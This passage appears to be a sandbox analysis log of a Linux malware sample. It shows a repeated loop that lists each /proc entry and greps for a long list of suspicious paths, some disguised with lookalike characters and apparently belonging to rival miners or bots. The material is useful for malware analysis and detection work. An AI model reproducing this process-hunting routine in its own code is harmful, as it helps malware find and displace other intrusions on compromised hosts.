  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:854
- /bin/grep
  grep exe
  2⤵
  PID:857
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:856
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:859
- /bin/grep
  grep exe
  2⤵
  PID:862
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:861
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:864
- /bin/grep
  grep exe
  2⤵
  PID:867
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:866
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:869
- /bin/grep
  grep exe
  2⤵
  PID:872
- /bin/ls
  ls -latrh /proc/245
  2⤵
  PID:871
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:874
- /bin/grep
  grep exe
  2⤵
  PID:877
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:876
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:879
- /bin/grep
  grep exe
  2⤵
  PID:882
- /bin/ls
  ls -latrh /proc/333
  2⤵
  PID:881
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:886
- /bin/grep
  grep exe
  2⤵
  PID:889
- /bin/ls
  ls -latrh /proc/335
  2⤵
  PID:888
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:892
- /bin/grep
  grep exe
  2⤵
  PID:896
- /bin/ls
  ls -latrh /proc/337
  2⤵
  PID:895
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:898
- /bin/grep
  grep exe
  2⤵
  PID:902
- /bin/ls
  ls -latrh /proc/338
  2⤵
  PID:901
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:905
- /bin/grep
  grep exe
  2⤵
  PID:908
- /bin/ls
  ls -latrh /proc/339
  2⤵
  PID:907
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:912
- /bin/grep
  grep exe
  2⤵
  PID:915
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:914
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:918
- /bin/grep
  grep exe
  2⤵
  PID:922
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:921
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:927
- /bin/grep
  grep exe
  2⤵
  PID:931
- /bin/ls
  ls -latrh /proc/375
  2⤵
  PID:930
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:934
- /bin/grep
  grep exe
  2⤵
  PID:937
- /bin/ls
  ls -latrh /proc/376
  2⤵
  PID:936
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:940
- /bin/grep
  grep exe
  2⤵
  PID:944
- /bin/ls
  ls -latrh /proc/385
  2⤵
  PID:943
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:946
- /bin/grep
  grep exe
  2⤵
  PID:951
- /bin/ls
  ls -latrh /proc/390
  2⤵
  PID:950
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:953
- /bin/grep
  grep exe
  2⤵
  PID:957
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:956
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:960
- /bin/grep
  grep exe
  2⤵
  PID:963
- /bin/ls
  ls -latrh /proc/465
  2⤵
  PID:962
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:966
- /bin/grep
  grep exe
  2⤵
  PID:970
- /bin/ls
  ls -latrh /proc/479
  2⤵
  PID:969
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:972
- /bin/grep
  grep exe
  2⤵
  PID:976
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:975
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:979
- /bin/ls
  ls -latrh /proc/511
  2⤵
  PID:981
- /bin/grep
  grep exe
  2⤵
  PID:982
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:986
- /bin/grep
  grep exe
  2⤵
  PID:989
- /bin/ls
  ls -latrh /proc/512
  2⤵
  PID:988
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:992
- /bin/grep
  grep exe
  2⤵
  PID:996
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:995
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:998
- /bin/grep
  grep exe
  2⤵
  PID:1002
- /bin/ls
  ls -latrh /proc/675
  2⤵
  PID:1001
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1005
- /bin/grep
  grep exe
  2⤵
  PID:1009
- /bin/ls
  ls -latrh /proc/688
  2⤵
  PID:1008
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1011
- /bin/grep
  grep exe
  2⤵
  PID:1017
- /bin/ls
  ls -latrh /proc/689
  2⤵
  PID:1016
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1019
- /bin/grep
  grep exe
  2⤵
  PID:1022
- /bin/ls
  ls -latrh /proc/693
  2⤵
  PID:1021
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1025
- /bin/grep
  grep exe
  2⤵
  PID:1030
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1029
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1034
- /bin/grep
  grep exe
  2⤵
  PID:1038
- /bin/ls
  ls -latrh /proc/695
  2⤵
  PID:1037
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1040
- /bin/grep
  grep exe
  2⤵
  PID:1045
- /bin/ls
  ls -latrh /proc/696
  2⤵
  PID:1044
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1047
- /bin/grep
  grep exe
  2⤵
  PID:1051
- /bin/ls
  ls -latrh /proc/698
  2⤵
  PID:1050
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1055
- /bin/grep
  grep exe
  2⤵
  PID:1058
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1057
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1060
- /bin/grep
  grep exe
  2⤵
  PID:1064
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1063
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1066
- /bin/grep
  grep exe
  2⤵
  PID:1069
- /bin/ls
  ls -latrh /proc/706
  2⤵
  PID:1068
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1072
- /bin/grep
  grep exe
